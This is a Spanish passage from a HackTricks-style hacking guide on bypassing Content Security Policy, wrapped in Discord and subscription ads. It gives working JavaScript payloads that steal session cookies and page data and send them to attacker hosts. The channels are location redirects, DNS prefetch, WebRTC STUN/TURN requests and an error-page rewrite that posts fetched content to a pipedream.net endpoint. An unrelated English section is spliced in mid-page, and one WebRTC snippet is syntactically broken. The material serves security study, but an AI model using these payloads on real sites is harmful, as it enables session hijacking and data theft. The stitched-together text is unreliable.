Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Tecnologías Inseguras para Evadir CSP

Sobrecarga del búfer de respuesta de PHP

PHP es conocido por almacenar en búfer la respuesta hasta 4096 bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficientes datos dentro de las advertencias, la respuesta se enviará antes del encabezado CSP, lo que hace que el encabezado se ignore.
Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el encabezado CSP no se envíe.

Idea de este writeup.

Reescribir Página de Error

Según este writeup, parece que fue posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego actualizando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto opener en el payload para acceder al DOM del punto final real a abusar. Para obtener más información, consulta:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Además, wordpress tiene un punto final JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).

Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> ten en cuenta que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final callback vulnerable que burla la CSP para otorgar más privilegios a un usuario, instalar un nuevo plugin...
Para obtener más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Saltos de Bypass de Exfiltración de CSP

Si hay una CSP estricta que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.

Location

Simplemente podrías actualizar la ubicación para enviar al servidor del atacante la información secreta:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Etiqueta meta

Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, no filtrará contenido)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.
Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">

Podrías abusar de este comportamiento para exfiltrar información sensible a través de solicitudes DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, it is possible to bypass CSP protections using various techniques.

Bypassing CSP using `unsafe-inline`

One common way to bypass CSP is by exploiting the unsafe-inline directive. This directive allows the execution of inline scripts and styles, which can be abused by an attacker to inject malicious code into the page.

Bypassing CSP using data: URIs

Another way to bypass CSP is by using data: URIs to embed external resources directly into the HTML code. By encoding the resource in Base64 and including it in a data URI, an attacker can load external scripts or styles without triggering CSP violations.

Conclusion

While Content Security Policy is an effective security measure, it is important for web developers to be aware of potential bypass techniques in order to ensure the integrity of their web applications. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they can be exploited by malicious actors.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots) {% endhint %}

WebRTC

En varias páginas se puede leer que WebRTC no verifica la política connect-src del CSP.

De hecho, puedes filtrar información utilizando una solicitud DNS. Echa un vistazo a este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Otra opción:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificación de Políticas de CSP en línea

Creación Automática de CSP

https://csper.io/docs/generating-content-security-policy

Referencias

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
Obtén merchandising oficial de PEASS & HackTricks
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

README.md Unescape Escape

Bypass de la Política de Seguridad de Contenido (CSP)

¿Qué es CSP?

Encabezados

Definición de Recursos

Directivas

Fuentes

Reglas CSP Inseguras

'unsafe-inline'

self + 'unsafe-inline' a través de Iframes

'unsafe-eval'

strict-dynamic

Comodín (*)

Falta de object-src y default-src

Subida de archivos + 'self'

Form-action

Endpoints de Terceros + ('unsafe-eval')

Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto window (consulta esta publicación):

Bypass de la Política de Seguridad de Contenido (CSP) para Angular

Descripción

Pasos

Impacto

Abusando del código JS de google recaptcha

Abusando de www.google.com para redireccionamiento abierto

Endpoints de Terceros + JSONP

Abusos de Terceros

Bypassing Content Security Policy (CSP)

Introduction

Table of Contents

Conclusion

Bypass a través de RPO (Sobrescritura de Ruta Relativa)

Ejecución de JS en iframes

falta de base-uri

Eventos de AngularJS

AngularJS y dominio en lista blanca

Bypass a través de Redirección

Bypass CSP con marcado colgante

'unsafe-inline'; img-src *; a través de XSS

Con Service Workers

Inyección de Políticas

Chrome

Edge

img-src *; a través de XSS (iframe) - Ataque de tiempo

A través de Bookmarklets

Bypass de CSP restringiendo CSP

Extracción de JS con Content-Security-Policy-Report-Only

CVE-2020-6519

Filtración de información con CSP y Iframe

Tecnologías Inseguras para Evadir CSP

Sobrecarga del búfer de respuesta de PHP

Reescribir Página de Error

SOME + 'self' + wordpress

Saltos de Bypass de Exfiltración de CSP

Location

Etiqueta meta

DNS Prefetch

Bypassing Content Security Policy (CSP)

Introduction

Bypassing CSP using unsafe-inline

Bypassing CSP using data: URIs

Conclusion

WebRTC

Verificación de Políticas de CSP en línea

Creación Automática de CSP

Referencias

README.md

Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto `window` (consulta esta publicación):

Bypassing CSP using `unsafe-inline`